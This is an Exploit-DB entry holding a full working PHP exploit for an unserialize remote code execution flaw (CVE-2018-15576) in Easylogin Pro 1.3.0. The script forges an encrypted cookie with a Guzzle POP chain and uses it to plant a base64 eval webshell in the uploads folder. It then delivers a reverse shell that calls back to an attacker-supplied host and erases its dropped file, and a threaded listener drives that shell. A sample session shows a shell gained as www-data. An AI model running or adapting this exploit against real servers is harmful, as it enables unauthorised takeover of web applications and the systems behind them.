Easylogin Pro 1.3.0 - 'Encryptor.php' Unserialize Remote Code Execution

EDB-ID:

45227


Author:

mr_me

Type:

remote


Platform:

PHP

Date:

2018-08-20


#!/usr/bin/php
<?php
/*
Easylogin Pro Encryptor.php Unserialize Remote Code Execution Vulnerability
Version: 1.3.0
Platform: Ubuntu Server 18.04.1 

Bug found by: @f99942
Tekniq/exploit by: @steventseeley (mr_me)
CVE: CVE-2018-15576

Notes:
======

- This is not really a security issue I guess, because you need to know the key. 
  But a simple disclosure bug could mean its game over for Easylogin Pro
- You will need PHP with threading support to run this exploit
- Laravel + Guzzle === lol

Example:
========

mr_me@pluto:~$ php -m | grep pthreads && php --version
pthreads
PHP 7.2.2 (cli) (built: Aug 10 2018 01:30:10) ( ZTS DEBUG )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies
    with Zend OPcache v7.2.2, Copyright (c) 1999-2018, by Zend Technologies

mr_me@pluto:~$ ./e.php 

Easylogin Pro <= v1.3.0 Encryptor.php Unserialize Remote Code Execution Vulnerability
Bug found by: @f99942
Tekniq/exploit by: @steventseeley (mr_me)

----------------------------------------------------
Usage: php ./e.php -t <ip> -c <ip:port>
-t:      target server (ip with or without port)
-c:      connectback server (ip and port)
Example:
php ./e.php -t 172.16.175.136 -c 172.16.175.137:1337
----------------------------------------------------
mr_me@pluto:~$ ./e.php -t 172.16.175.137 -c 172.16.175.136:1337

Easylogin Pro <= v1.3.0 Encryptor.php Unserialize Remote Code Execution Vulnerability
bug found by: @f99942
tekniq/exploit by: @steventseeley (mr_me)

(+) snap...
(+) crackle...
(+) pop!
(+) connectback from 172.16.175.137 via port 41860

www-data@target:/var/www/html/uploads$ id;uname -a
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux target 4.15.0-30-generic #32-Ubuntu SMP Thu Jul 26 17:42:43 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
www-data@target:/var/www/html/uploads$ ls -la
total 12
drwxrwxrwx 2 www-data www-data 4096 Aug 12 23:06 .
drwxr-xr-x 9 www-data www-data 4096 Aug  9 14:49 ..
-rwxrwxrwx 1 root     root       13 Dec 12  2017 .gitignore
www-data@target:/var/www/html/uploads$ php --version
PHP 7.2.7-0ubuntu0.18.04.2 (cli) (built: Jul  4 2018 16:55:24) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies
    with Zend OPcache v7.2.7-0ubuntu0.18.04.2, Copyright (c) 1999-2018, by Zend Technologies
www-data@target:/var/www/html/uploads$
*/

namespace GuzzleHttp\Cookie;

// change these to work against your target
$key  = "OPudCtPyxzAGw8LkQowOoQAc88dvULGB";
$path = "/var/www/html";
 
class Encrypter {
    protected $key;
    protected $cipher;

    public function __construct($key, $cipher = 'AES-256-CBC'){
        $key = (string) $key;
        $this->key = $key;
        $this->cipher = $cipher;
    }

    public function encrypt($value, $serialize = true){
        $iv = random_bytes(openssl_cipher_iv_length($this->cipher));
        $value = openssl_encrypt(
            $serialize ? serialize($value) : $value,
            $this->cipher, $this->key, 0, $iv
        );
        if ($value === false) {
            throw new EncryptException('Could not encrypt the data.');
        }
        $mac = $this->hash($iv = base64_encode($iv), $value);
        $json = json_encode(compact('iv', 'value', 'mac'));
        if (json_last_error() !== JSON_ERROR_NONE) {
            throw new EncryptException('Could not encrypt the data.');
        }
        return base64_encode($json);
    }

    public function encryptString($value){
        return $this->encrypt($value, false);
    }

    protected function hash($iv, $value){
        return hash_hmac('sha256', $iv.$value, $this->key);
    }
}

// pop chain
interface ToArrayInterface {}

class SetCookie implements ToArrayInterface {
    private $data;

    public function __construct(array $data = []){
        $this->data = $data;
    }
}

class CookieJar implements ToArrayInterface {
    private $cookies;

    public function setCookie(SetCookie $cookie){
        $this->cookies = array($cookie);
    }
}

class FileCookieJar extends CookieJar {
    private $filename;

    public function __construct($bd_file, $cbh, $cbp){
        $this->filename = $bd_file;
        $this->setCookie(new SetCookie(array(
            "Value" => '<?php eval(base64_decode($_SERVER[HTTP_SI])); ?>', 
            "Expires" => true,
            "Discard" => false,
        ))); 
    }
}

class Exploit{
    private $target;
    private $targetport;
    private $cbhost;
    private $cbport;
    private $key;
    private $path;

    public function __construct($t, $tp, $cbh, $cbp, $k, $p){
        $this->target     = $t;
        $this->targetport = $tp;
        $this->cbhost     = $cbh;
        $this->cbport     = $cbp;
        $this->key        = $k;
        $this->path       = $p;
    }

    public function run(){

        // its possible to leak the path if app.php contains 'debug' => true
        // also, uploads is writable by default for avatars
        $fcj = new FileCookieJar("$this->path/uploads/si.php", $this->cbhost, $this->cbport);
        $e   = new Encrypter($this->key);
        $this->p = $e->encryptString(serialize($fcj));

        // hardcoded md5 of the class name 'Hazzard\Auth\Auth' for the cookie login 
        $c = $this->do_get("index.php", array("Cookie: login_ac5456751dd3c394383a14228642391e=$this->p"));
        if ($c === 500){
            print "(+) pop!\r\n";

            // start our listener
            $s = new Shell($this->cbport); 
            $s->start();

            // msf reverse shell with some stuff modified
            $rs = <<<'PHP'
@error_reporting(-1);
@set_time_limit(0); 
@ignore_user_abort(1);
$dis=@ini_get('disable_functions');
if(!empty($dis)){
    $dis=preg_replace('/[, ]+/', ',', $dis);
    $dis=explode(',', $dis);
    $dis=array_map('trim', $dis);
}else{
    $dis=array();
}
$ipaddr='[cbhost]';
$port=[cbport];
function PtdSlhY($c){
    global $dis; 
    if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {
        $c=$c." 2>&1\n";
    }
    ob_start();
    system($c);
    $o=ob_get_contents();
    ob_end_clean();
    if (strlen($o) === 0){
        $o = "NULL";
    }
    return $o;
}
// we disappear like a fart in the wind
@unlink("si.php");
$nofuncs='no exec functions';
$s=@fsockopen("tcp://$ipaddr",$port);
while($c=fread($s,2048)){
    $out = '';
    if(substr($c,0,3) == 'cd '){
        chdir(substr($c,3,-1));
    }else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
        break;
    }else{
        $out=PtdSlhY(substr($c,0,-1));
        if($out===false){
            fwrite($s, $nofuncs);
            break;
        }
    }
    fwrite($s,$out);
}
fclose($s);
PHP;
            $rs = str_replace("[cbhost]", $this->cbhost, $rs);
            $rs = str_replace("[cbport]", $this->cbport, $rs);
            $php = base64_encode($rs);
            $this->do_get("uploads/si.php", array("si: $php"));
        }
    }

    private function do_get($p = "index.php", array $h = []){
        $curl = curl_init();
        curl_setopt_array($curl, array(
            CURLOPT_RETURNTRANSFER => 1,
            CURLOPT_URL => "http://$this->target/$p",
            CURLOPT_HTTPHEADER => $h,
            CURLOPT_PORT => (int) $this->targetport
        ));
        $resp = curl_exec($curl);
        return curl_getinfo($curl, CURLINFO_HTTP_CODE);
    }
}

class Shell extends \Thread{
    private $cbport;

    public function __construct($cbp){
        $this->cbport = $cbp;
    }

    public function run(){ 
        $sock    = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
        $ret     = @socket_bind($sock, 0, (int) $this->cbport);
        $ret     = @socket_listen($sock, 5);
        $msgsock = @socket_accept($sock);
        @socket_close($sock);
        $start = true;
        $fp = fopen("php://stdin", "r");
        while(false !== @socket_select($r = array($msgsock))){
            if ($start === true){
                if (socket_getpeername($r[0], $a, $p) === true){
                    print "(+) connectback from $a via port $p\r\n";
                    $s = $this->exec_cmd($msgsock, "echo `whoami`@`hostname`:\n");
                }
            }
            $start = false;

            // the pretty shells illusion
            print "\r\n".$s.$this->exec_cmd($msgsock, "echo `pwd`\n")."$ ";

            // get our command...
            $c = fgets($fp);

            // if the attacker enters nothing, continue...
            if (strpos("\n", $c) === 0){
                continue;
            }
            if (strpos($c, "cd") === false){
                print $this->exec_cmd($msgsock, $c);
            }elseif (strpos($c, "cd") !== false){
                $this->exec_cmd($msgsock, $c, false);
            }
            if(in_array($c, array("exit\n", "quit\n"))){
                break;
            }
        }
        fclose($fp);
    }

    private function exec_cmd($c, $cmd, $ret=true){

            // send our command to the reverse shell
            @socket_write($c, $cmd, strlen($cmd));

            if ($ret == true){
                // we don't care to get the shell prompt back...
                $resp = trim(@socket_read($c, 2048, PHP_BINARY_READ));
                if ($resp === "NULL"){
                    return "";
                }else{
                    return $resp;
                }
            }
    }
}

print_r("\r\nEasylogin Pro <= v1.3.0 Encryptor.php Unserialize Remote Code Execution Vulnerability
Bug found by: @f99942
Tekniq/exploit by: @steventseeley (mr_me)\r\n");
 
if ($argc < 3) {
print_r("
----------------------------------------------------
Usage: php ".$argv[0]." -t <ip> -c <ip:port>
-t:      target server (ip with or without port)
-c:      connectback server (ip and port)
Example:
php ".$argv[0]." -t 172.16.175.136 -c 172.16.175.137:1337
----------------------------------------------------
"); die; }

function set_args($argv) {
    $_ARG = array();
    foreach ($argv as $arg) {
        if (preg_match("/--([^=]+)=(.*)/", $arg, $reg)) {
            $_ARG[$reg[1]] = $reg[2];
        } elseif(preg_match("/^-([a-zA-Z0-9])/", $arg, $reg)) {
            $_ARG[$reg[1]] = "true";
        } else {
            $_ARG["input"][] = $arg;
        }
    }
    return $_ARG;
}
 
$args = set_args($argv);
$host = $args["input"]["1"];
$cbsp = $args["input"]["2"];
 
if (strpos($host, ":") == true){
    $host_and_port = explode(":", $host);
    $host = $host_and_port[0];
    $port = $host_and_port[1];
}else{
    $port = 80;
}

if (strpos($cbsp, ":") == true){
    $cbhost_and_cbport = explode(":", $cbsp);
    $cbhost = $cbhost_and_cbport[0];
    $cbport = $cbhost_and_cbport[1];
}else{
    $cbport = 1337;
}

$ip_regex = "(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b)";
if ((preg_match($ip_regex, $host) === 1) && (preg_match($ip_regex, $cbhost) === 1)){

    // exploit entry
    $poc = new Exploit($host, $port, $cbhost, $cbport, $key, $path);
    print "\r\n(+) snap...\r\n(+) crackle...\r\n";
    $poc->run();
}
/*
eyJpdiI6InFGcWFDMW9aMEFwWmo2XC9RRkhxZ3JBPT0iLCJ2YWx1ZSI6IjdpVExUQWpaYVpu
RjVVRElxczg1YUVpSWl2bEtXOVwvY3BVaDFkc0NNY0Y4NkhMME9XNE9PZHJxc0FhUFBlenpi
VWtJSUNHWE9RYU5MQjVnOUgzUkt4RGc0QlE4TDNZSnpueFZlblVjM3NnVXFmeE0zSnZaRFA2
a2gxU1l2QlVYNW5pUkZEd3c2RFJWYnpqRFkyUmdOQW5vZkVtaFA0Y2JDRW1kUU5mNWtGdmh3
WDJWYlBmQU0rTkFwWExQOERWcEZDVTYzU255VEFaTzN4MzhZTEUxWElRbnNCZ1grWm9rN3Vh
MzBzSnYrSGpjMmlRRWMxZWVTbDVhN29uOG1RazBJIiwibWFjIjoiOThmYTM5ZDc3M2FlMGVh
NTI3ZWI2ZGNkODQ5N2ZmZmExNDA3YjdjYzYzMGRlODY3NDZmMjRkYTBiNmVjMGJmMCJ9
*/
?>